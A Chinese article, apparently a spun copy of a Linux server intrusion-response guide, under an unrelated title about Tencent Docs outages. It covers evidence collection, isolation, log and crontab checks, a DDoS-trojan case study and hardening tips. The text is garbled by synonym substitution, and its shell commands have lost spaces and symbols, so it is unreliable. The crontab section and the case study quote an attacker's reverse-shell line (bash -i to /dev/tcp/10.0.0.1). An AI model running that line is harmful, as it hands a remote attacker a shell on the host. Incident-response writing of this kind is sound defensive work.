腾讯文档服务器瓦解了咋办(腾讯文档宕机)「腾讯文档服务器异常怎么回事」

服务器被黑客入侵了怎么办?

碰到服务器被黑,很多人会采取拔网线、封iptables大概关掉全部服务的方式应急,但假如是线上服务器就不能立即采取任何影响业务的本领了,必要根据服务器业务环境分类处理惩罚。

下面我们看一个标准的服务器安全应急影相应该怎么做,也算是笔者从事安全变乱应急近6年以来的一些履历之谈,借此抛砖引玉,盼望大神们不吝见教~

如上图,将服务器安全应急相应流程分为如下8个环节:

·发现安全变乱(核实)

·现场掩护

·服务器掩护

·影响范围评估

·在线分析

·数据备份

·深入分析

·变乱陈诉整理

接下来我们将每个环节分解,看看必要怎样断开非常毗连、排查入侵源头、克制二次入侵等。

核实信息(运维/安全职员)

根据安全变乱关照源的差别,分为两种:

腾讯文档服务器崩溃了咋办(腾讯文档宕机) 腾讯文档服务器瓦解
了咋办(腾讯文档宕机)「腾讯文档服务器异常怎么回事」 行业资讯

外界关照:和陈诉人核实信息,确认服务器/体系是否被入侵。如今很多企业有本身的SRC(安全相应中心),在此之前更多的是依靠某云。这种环境入侵的核实一样平常是安全工程师完成。

自行发现:根据服务器的非常或故障判定,比如对外发送大规模流量大概体系负载非常高等,这种环境一样平常是运维工程师发现并核实的。

现场掩护(运维)

我们很多人看过大陆的电视剧《重案六组》,每次接到刑事案件,刑警们第一时间就是封锁现场、生存现场原状。

同样原理,安全变乱发生现场,跟刑事案件发生现场一样,必要生存第一现场紧张信息,方便背面入侵检测和取证。

生存现场环境(截图)

相干信息收罗下令如下:

·进程信息:psaxu

·网络信息:netstat–a

·网络+进程:lsof/netstat-p

攻击者登岸环境(截图)

相干信息收罗下令如下:

·查察当前登任命户:w或who-a

服务器掩护(运维/机房)

这里的现场掩护和服务器掩护是两个差别的环节,前者注意取证,后者注意环境隔离。

核实呆板被入侵后,应当尽快将呆板掩护起来,克制被二次入侵大概当成跳板扩大攻击面。

此时,为掩护服务器和业务,克制服务器被攻击者继承利用,应尽快迁徙业务,立即下线呆板。

假如不能立即处理惩罚,应当通过设置网络ACL等方式,封掉该服务器对网络的双向毗连。

影响范围评估(运维/开辟)

一样平常是运维大概程序确认影响范围,必要运维通过日记大概监控图表确认数据库大概敏感文件是否泄漏,假如是代码大概数据库泄漏了,则必要程序评估危害环境与处理方法。

影响访问评估一样平常从下面几点来入手:

·具体业务架构:Web(PHP/Java,WebServer),Proxy,DB等。

·IP及所处地区拓扑等:VLAN内服务器和应用环境。

·确定同一网络下面服务器之间的访问:可以相互登岸,是否必要Key大概是暗码登录。

由此确定查抄影响范围,确认全部受到影响的网段和呆板。

在线分析(安全职员/运维)

这时必要根据个人履历快速在线分析,一样平常是安全职员和运维同时在线处理惩罚,不外会涉及多人协作的题目,必要克制多人操纵呆板时粉碎服务器现场,造因素析困扰。

之前笔者碰到一个雷同的题目,就是运维排查时敲错了iptables的下令,将iptables-L敲成iptables-i导致iptables-save时出现非常记录,结果安全职员上来查抄时就被这条记录迷惑了,导致处理惩罚思绪受到肯定干扰。

全部用户History日记检测

·关键字:wget/curl,gcc,大概隐蔽文件,敏感文件后缀(.c,.py,conf,.pl,.sh)。

·查抄是否存在非常用户。

·查抄近来添加的用户,是否有不着名用户或不规范提权。

·找出root权限的用户。

可以实行以下下令查抄:

grep-v-E"^#"/etc/passwd|awk-F:'$3==0{print$1}'

反连木马判定

·netstat–a

·留意非正常端口的外网IP

可疑进程判定

·判定是否为木马ps–aux

·重点关注文件(隐蔽文件),Python脚本,Perl脚本,Shell脚本(bash/sh/zsh)。

·利用which,whereis,find定位。

Crontab检测

不要用crontab–l查察crontab(绕过检测),也有通过写crontab设置文件反弹Shell的,笔者打仗过反复,一样平常都是利用的bash-i/dev/tcp/10.0.0.1/808001。

体系日记检测

·查抄sshd服务设置文件/etc/ssh/sshd_config和体系认证日记auth、message,判定是否为口令破解攻击。

·/etc/ssh/sshd_config文件确认认证方式。

·确认日记是否被删除大概整理过的大概(巨细判定)。

·last/lastb可以作为辅助,不外大概禁绝确。

NHIDS正常运行判定

·是否安装:ls/etc/ossec

·是否运行正常:psaxu|grepnhids,三个nhids进程则表现正常

其他攻击分析

抓取网络数据包并举行分析,判定是否为拒绝服务攻击,这里必要留意,肯定要利用-w参数,如许才华生存成pcap格式导入到wireshark,如许分析起来会事半功倍。

腾讯文档服务器崩溃了咋办(腾讯文档宕机) 腾讯文档服务器瓦解
了咋办(腾讯文档宕机)「腾讯文档服务器异常怎么回事」 行业资讯

tcpdump-wtcpdump.log

安全相干的关键文件和数据备份(运维)

可以同步举行,利用sftp/rsync等将日记上传到安全的服务器:

·打包体系日记:参考:$tar-jcvfsyslog.tar.bz2/var/log

·打包Web日记:accesslog

·打包History日记(全部用户),参考:$cp/home/user/,historyuser_history

·打包crontab记录

·打包暗码文件:/etc/passwd,/etc/shadow

·打包可疑文件、后门、Shell信息

深入分析(安全职员)

开端锁定非常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对呆板的控制后,接下来必要深入排查入侵缘故起因。一样平常可以从Webshell、开放端口服务等方向顺藤摸瓜。

Webshell入侵

·利用Webshell_check.py脚本检测Web目次:

$pythonwebshell_check.py/var/www/result.txt

·查找Web目次下全部nobody的文件,人工分析:

$find/var/www–usernobodynobody.txt

·假如能确定入侵时间,可以利用find查找近来时间段内变革的文件:

$find/-typef-name"\.?*"|xargsls-l|grep"Mar22"

$find/-ctime/-mtime8

利用Web弊端直接反连Shell

分析access.log:

·缩小日记范围:时间,非常IP提取。

·攻击举动提取:常见的攻击exp辨认。

体系弱口令入侵

认证相干日记auth/syslog/message排查:

·爆破举动定位和IP提取。

·爆破是否乐成确定:有爆破举动IP是否有accept记录。

假如日记已经被整理,利用工具(比如JohntheRipper)爆破/etc/passwd,/etc/shadow。

其他入侵

其他服务器跳板到本机。

后续举动分析

·History日记:提权、增长后门,以及是否被整理。

·Sniffer:网卡稠浊模式检测ifconfig|grep–iproc。

·内网扫描:网络nmap/扫描器,socks5署理。

·确定是否有rootkit:rkhunter,chkrootkit,ps/netstat更换确认。

后门整理排查

·根据时间点做关联分析:查找谁人时间段的全部文件。

·一些小本领:/tmp目次,ls–la,查察全部文件,留意隐蔽的文件。

·根据用户做时间关联:比如nobody。

其他呆板的关联操纵

其他呆板和这台呆板的网络毗连(日记查察)、雷同业务环境(同样业务,负载均衡)。

整理变乱陈诉(安全职员)

变乱陈诉应包罗但不限于以下几个点:

·分析变乱发生缘故起因:变乱为什么会发生的缘故起因。

·分析整个攻击流程:时间点、操纵。

·分析变乱处理惩罚过程:整个变乱处理惩罚过程总结是否有不敷。

·分析变乱防备:怎样克制事变再次发生。

·总结:总结变乱缘故起因,改进处理惩罚过程,防备雷同变乱再次发生。

处理惩罚中碰到的比力棘手的事变

日记和操纵记录全被删了,怎么办?

strace查察losf进程,再实行规复一下日记记录,不可的话镜像硬盘数据渐渐查。这个要用到一些取证工具了,dd硬盘数据再去还原出来。

体系账号暗码都修改了,登不进去?

重启进单用户模式修改root暗码,大概通过控制卡操纵,大概直接还原体系,都搞不定就直接重装吧。

利用常见的入侵检测下令未发现非常进程,但是呆板在对外发包,这是怎么回事?

这种环境下很大概常用的体系下令已经被攻击者大概木马程序更换,可以通过md5sum对比本机二进制文件与正常呆板的md5值是否同等。

假如发现不同等,肯定是被更换了,可以从其他呆板上拷贝下令到本机更换,大概alias为其他名称,克制为恶意程序再次更换。

被getshell怎么办?

·弊端修复前,体系立即下线,用内网环境访问。

·上传点放到内网访问,不答应外网有雷同的上传点,有上传点,而且没有校验文件范例很轻易上传Webshell。

·被getshell的服务器中是否有敏感文件和数据库,假如有请查抄是否有走漏。

·hosts文件中对应的host关系必要重新设置,攻击者可以设置hosts来访问测试环境。

·重装体系。

案例分析

上面讲了很多思绪的东西,信托各人更想看看实际案例,下面分享个案例。

一个笔者实际处理惩罚过的案例,根本处理惩罚流程跟上面提到的思绪大同小异。

整个事变处理惩罚颠末大抵如下:

1、运维发现一台私有云主机间歇性的对外发送高达800Mbps的流量,影响了同一个网段的其他呆板。

2、安全职员接到关照后,先确认了呆板属于备机,没有跑在线业务,于是关照运维封禁iptables限定外网访问。

3、运维为安全职员临时开通呆板权限,安全职员通过History和ps找到的入侵记录和非常进程锁定了对外大量发包的应用程序,整理了恶意进程并删除恶意程序。

恶意进程如下,颠末在网络搜刮发现是一种DDOS木马,但没有明白的处理惩罚思绪:

/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session/sbin/DDosClientRunByP4407/sbin/DDosClientRunByPM4673

处理惩罚过程中,安全职员猜疑体系文件被更换,通过对比该呆板与正常呆板上面的ps、netstat等程序的巨细发现敏感程序已经被更换,而且mtime也被修改。

正常呆板:

·du-sh/bin/ps

·92K/bin/ps

·du-sh/bin/netstat

·120K/bin/netstat

被入侵呆板:

·du-sh/bin/netstat

·2.0M/bin/netstat

·du-sh/bin/ps

·2.0M/bin/ps

将部分常用二进制文件修复后,发现非常进程被kill掉后仍重启了,于是安装杀毒软件clamav和rootkithunter举行通盘扫描。

从而确认了被感染的全部文件,将那些可以删除的文件删除后再次kill掉非常进程,则再没有重启的题目。

4、影响范围评估

由于该呆板只是备机,上面没有敏感数据,于是信息泄漏题目也就不存在了。

扫描同一网段呆板端口开放环境、排查被入侵呆板History是否有对外扫描大概入侵举动,为此还在该网段呆板别的摆设蜜罐举行监控。

5、深入分析入侵缘故起因

通过被入侵呆板所跑服务、iptables状态,确认是所跑服务支持长途下令实行。

而且呆板iptables为空导致黑客通过往/etc/crontab中写“bash-i/dev/tcp/10.0.0.1/808001”下令方式举行Shell反弹,从而入侵了呆板。

6、验证修复、呆板下线重装

举行以上修复操纵后,监控未发现再有非常,于是将呆板下线重装。

7、完成安全变乱处理惩罚陈诉

每次安全变乱处理惩罚后,都应当整理成陈诉,不管是知识库的构建,还是统计分析安全态势,都是很有须要的。

这次重要先容了服务器被入侵时保举的一套处理惩罚思绪。实际上,安全防护跟运维思绪一样,都是要防患于未然,这时间的审计大概相应很难克制危害的发生了。

我们更盼望通过安全意识教诲、安全制度的建立,在题目表现端倪时即可消弭于无形。

Linux服务器安全防护要点

1、强化:暗码管理

设定登录暗码是一项非常紧张的安全步伐,假如用户的暗码设定不符合,就很轻易被破译,尤其是拥有超等用户利用权限的用户,假如没有精良的暗码,将给体系造成很大的安全弊端。

如今暗码破解程序大多采取字典攻击以及暴力攻击本领,而此中用户暗码设定不当,则极易受到字典攻击的威胁。很多用户喜好用本身的英文名、生日大概账户等信息来设定暗码,如许,黑客大概通过字典攻击大概是社会工程的本领来破解暗码。

以是发起用户在设定暗码的过程中,应只管利用非字典中出现的组合字符,而且采取数字与字符相连合、巨细写相连合的暗码设置方式,增长暗码被黑客破解的难度。而且,也可以利用定期修改暗码、使暗码定期取消的方式,来掩护本身的登录暗码。

在多用户体系中,假如逼迫每个用户选择不易猜出的暗码,将大大进步体系的安全性。但假如passwd程序无法逼迫每个上机用户利用得当的暗码,要确保暗码的安全度,就只能依靠暗码破解程序了。

实际上,暗码破解程序是黑客工具箱中的一种工具,它将常用的暗码大概是英笔墨典中全部大概用来作暗码的字都用程序加密成暗码字,然后将其与Linux体系的/etc/passwd暗码文件或/etc/shadow影子文件相比力,假如发现有符合的暗码,就可以求得明码了。在网络上可以找到很多暗码破解程序,比力闻名的程序是crack和johntheripper.用户可以本身先实行暗码破解程序,找出轻易被黑客破解的暗码,先行改正总比被黑客破解要有利。

2、限定:网络服务管理

早期的Linux版本中,每一个差别的网络服务都有一个服务程序(保卫进程,Daemon)在背景运行,厥后的版本用同一的/etc/inetd服务器程序担此重任。Inetd是Internetdaemon的缩写,它同时监督多个网络端口,一旦吸取到外界传来的毗连信息,就实行相应的TCP或UDP网络服务。

由于受inetd的同一指挥,因此Linux中的大部分TCP或UDP服务都是在/etc/inetd.conf文件中设定。以是取消不须要服务的第一步就是查抄/etc/inetd.conf文件,在不要的服务前加上“#”号。

一样平常来说,除了http、smtp、telnet和ftp之外,其他服务都应该取消,诸如简单文件传输协议tftp、网络邮件存储及吸取所用的imap/ipop传输协议、探求和搜刮资料用的gopher以及用于时间同步的daytime和time等。

尚有一些陈诉体系状态的服务,如finger、efinger、systat和netstat等,固然对体系查错和探求用户非常有效,但也给黑客提供了方便之门。比方,黑客可以利用finger服务查找用户的电话、利用目次以及其他紧张信息。因此,很多Linux体系将这些服务全部取消或部分取消,以加强体系的安全性。Inetd除了利用/etc/inetd.conf设置体系服务项之外,还利用/etc/services文件查找各项服务所利用的端口。因此,用户必须细致查抄该文件中各端口的设定,以免有安全上的弊端。

在后继的Linux版本中(比如RedHatLinux7.2之后),取而代之的是采取xinetd举行网络服务的管理。

固然,具体取消哪些服务不能一概而论,必要根据实际的应用环境来定,但是体系管理员必要做到胸有定见,由于一旦体系出现安全题目,才华做到有步调、井井有条地举行查漏和调停工作,这点比力紧张。

3、严格审计:体系登任命户管理

在进入Linux体系之前,全部用户都必要登录,也就是说,用户必要输入用户账号和暗码,只有它们通过体系验证之后,用户才华进入体系。

与其他Unix操纵系同一样,Linux一样平常将暗码加密之后,存放在/etc/passwd文件中。Linux体系上的全部用户都可以读到/etc/passwd文件,固然文件中生存的暗码已经颠末加密,但仍旧不太安全。由于一样平常的用户可以利用现成的暗码破译工具,以穷举法推测出暗码。比力安全的方法是设定影子文件/etc/shadow,只答应有特别权限的用户阅读该文件。

在Linux体系中,假如要采取影子文件,必须将全部的公用程序重新编译,才华支持影子文件。这种方法比力贫苦,比力轻便的方法是采取插入式验证模块(PAM)。很多Linux体系都带有Linux的工具程序PAM,它是一种身份验证机制,可以用来动态地改变身份验证的方法和要求,而不要求重新编译其他公用程序。这是由于PAM采取封闭包的方式,将全部与身份验证有关的逻辑全部隐蔽在模块内,因此它是采取影子档案的最佳帮忙。

别的,PAM尚有很多安全功能:它可以将传统的DES加密方法改写为其他功能更强的加密方法,以确保用户暗码不会轻易地遭人破译;它可以设定每个用户利用电脑资源的上限;它乃至可以设定用户的上机时间和地点。

Linux体系管理职员只需耗费几小时去安装和设定PAM,就能大大进步Linux体系的安全性,把很多攻击拦截在体系之外。

4、设定:用户账号安全品级管理

除暗码之外,用户账号也有安全品级,这是由于在Linux上每个账号可以被赋予差别的权限,因此在创建一个新用户ID时,体系管理员应该根据必要赋予该账号差别的权限,而且归并到差别的用户组中。

在Linux体系中的部分文件中,可以设定答应上机和不答应上机职员的名单。此中,答应上机职员名单在/etc/hosts.allow中设置,不答应上机职员名单在/etc/hosts.deny中设置。别的,Linux将主动把答应进入或不答应进入的结果记录到/var/log/secure文件中,体系管理员可以据此查出可疑的进入记录。

每个账号ID应该有专人负责。在企业中,假如负责某个ID的职员离职,管理员应立即从体系中删除该账号。很多入侵变乱都是借用了那些好久不消的账号。

在用户账号之中,黑客最喜好具有root权限的账号,这种超等用户有权修改或删除各种体系设置,可以在体系中畅行无阻。因此,在给任何账号赋予root权限之前,都必须细致思量。

Linux体系中的/etc/securetty文件包罗了一组可以或许以root账号登录的终端机名称。比方,在RedHatLinux体系中,该文件的初始值仅答应本地假造控制台(rtys)以root权限登录,而不答应长途用户以root权限登录。最好不要修改该文件,假如肯定要从长途登录为root权限,最好是先以平凡账号登录,然后利用su下令升级为超等用户。

5、审慎利用:“r系列”长途程序管理

在Linux体系中有一系列r字头的公用程序,比如rlogin,rcp等等。它们非常轻易被黑客用来入侵我们的体系,因而非常伤害,因此绝对不要将root账号开放给这些公用程序。由于这些公用程序都是用。rhosts文件大概hosts.equiv文件答应进入的,因此肯定要确保root账号不包罗在这些文件之内。

由于r等长途指令是黑客们用来攻击体系的较好途径,因此很多安全工具都是针对这一安全弊端而计划的。比方,PAM工具就可以用来将r字头公用程序有效地克制掉,它在/etc/pam.d/rlogin文件中加上登录必须先答应的指令,使整个体系的用户都不能利用本身home目次下的。rhosts文件。

6、限定:root用户权限管理

Root不停是Linux掩护的重点,由于它权利无穷,因此最好不要轻易将超等用户授权出去。但是,有些程序的安装和维护工作必须要求有超等用户的权限,在这种环境下,可以利用其他工具让这类用户有部分超等用户的权限。sudo就是如许的工具。

sudo程序答应一样平常用户颠末组态设定后,以用户本身的暗码再登录一次,取得超等用户的权限,但只能实行有限的几个指令。比方,应用sudo后,可以让管理磁带备份的管理职员每天按时登录到体系中,取得超等用户权限去实行文档备份工作,但却没有特权去作其他只有超等用户才华作的工作。

sudo不但限定了用户的权限,而且还将每次利用sudo所实行的指令记录下来,不管该指令的实行是乐成还是失败。在大型企业中,偶然间有很多人同时管理Linux体系的各个差别部分,每个管理职员都有效sudo授权给某些用户超等用户权限的本领,从sudo的日记中,可以追踪到谁做了什么以及改动了体系的哪些部分。

值得留意的是,sudo并不能限定全部的用户举动,尤其是当某些简单的指令没有设置限定时,就有大概被黑客滥用。比方,一样平常用来表现文件内容的/etc/cat指令,假如有了超等用户的权限,黑客就可以用它修改或删除一些紧张的文件。

7、追踪黑客踪迹:日记管理

当用户细致设定了各种与Linux相干的设置(最常用日记管理选项),而且安装了须要的安全防护工具之后,Linux操纵体系的安全性简直大为进步,但是却并不能包管防止那些比力纯熟的网络黑客的入侵。

在平常,网络管理职员要常常进步鉴戒,随时留意各种可疑状态,而且按时查抄各种体系日记文件,包罗一样平常信息日记、网络毗连日记、文件传输日记以及用户登录日记等。在查抄这些日记时,要留意是否有不合常理的时间记录。比方:

·正常用户在半夜半夜登录;

·不正常的日记记录,比如日记只记录了一半就堵截了,大概整个日记文件被删除了;

·用户从陌生的网址进入体系;

·因暗码错误或用户账号错误被摈弃在外的日记记录,尤其是那些频频连续实行进入失败,但却有肯定模式的试错法;

·非法利用或不合法利用超等用户权限su的指令;

·重新开机或重新启动各项服务的记录。

上述这些题目都必要体系管理员随时留意体系登录的用户状态以及查察相应日记文件,很多背离正常举动的蛛丝马迹都应当引起高度留意。

8、横向扩展:综合防御管理

防火墙、IDS等防护技能已经乐成地应用到网络安全的各个范畴,而且都有非常成熟的产物。

在Linux体系来说,有一个自带的Netfilter/Iptables防火墙框架,通过公道地设置其也能起到主机防火墙的功效。在Linux体系中也有相应的轻量级的网络入侵检测体系Snort以及主机入侵检测体系LIDS(LinuxIntrusionDetectionSystem),利用它们可以快速、高效地举行防护。

必要提示留意的是:在大多数的应用情境下,我们必要综合利用这两项技能,由于防火墙相称于安全防护的第一层,它仅仅通过简单地比力IP地点/端口对来过滤网络流量,而IDS更加具体,它必要通过具体的数据包(部分大概全部)来过滤网络流量,是安全防护的第二层。综合利用它们,可以或许做到互补,而且发挥各自的上风,终极实现综合防御。

9、评测:弊端追踪及管理

Linux作为一种良好的开源软件,其自身的发展也日新月异,同时,其存在的题目也会在日后的应用中渐渐袒露出来。黑客对新技能的关注从肯定程度上来说要高于我们防护职员,以是要想在网络攻防的战役中处于有利职位,掩护Linux体系的安全,就要求我们要保持高度的鉴戒性和对新技能的高度关注。用户特别是利用Linux作为关键业务体系的体系管理员们,必要通过Linux的一些权势巨子网站和论坛上尽快地获取有关该体系的一些新技能以及一些新的体系弊端的信息,举行弊端扫描、渗出测试等体系化的相干配套工作,做到防范于未然,提早举措,在弊端出现后乃至是出现前的最短时间内封堵体系的弊端,而且在实践中不绝地进步安全防护的技能,如许才是一个比力的办理办法和出路。

10、保持更新:补丁管理

Linux作为一种良好的开源软件,其稳固性、安全性和可用性有极为可靠的包管,天下上的Linux高手共同维护着个良好的产物,因而起流畅渠道很多,而且常常有更新的程序和体系补丁出现,因此,为了加强体系安全,肯定要常常更新体系内核。

Kernel是Linux操纵体系的核心,它常驻内存,用于加载操纵体系的其他部分,并实现操纵体系的根本功能。由于Kernel控制盘算机和网络的各种功能,因此,它的安全性对整个体系安全至关紧张。

早期的Kernel版本存在很多众所周知的安全弊端,而且也不太稳固,只有2.0.x以上的版本才比力稳固和安全(一样平常说来,内核版本号为偶数的相对稳固,而为奇数的则一样平常为测试版本,用户们利用时要多留意),新版本的运行服从也有很大改观。在设定Kernel的功能时,只选择须要的功能,千万不要全部功能照单全收,否则会使Kernel变得很大,既占用体系资源,也给黑客留下可乘之机。

在Internet上常常有最新的安全修补程序,Linux体系管理员应该消息灵通,常常光顾安全消息组,查阅新的修补程序。

客户评论

我要评论